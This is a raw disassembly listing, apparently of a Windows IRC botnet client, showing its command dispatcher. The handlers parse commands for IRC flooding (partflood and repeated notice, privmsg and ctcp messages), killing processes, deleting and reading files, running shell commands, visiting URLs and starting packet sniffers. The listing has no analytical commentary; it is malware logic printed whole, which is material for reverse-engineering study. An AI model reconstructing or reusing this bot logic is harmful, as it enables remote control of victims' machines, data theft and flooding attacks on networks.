		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B504
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B4E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 2670B87h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B464
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B450
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B44C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 2670B87h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B424
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D400C


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB00C


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA72C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B34C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B24C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B21C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset dword_42B1E0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B178
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B150
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
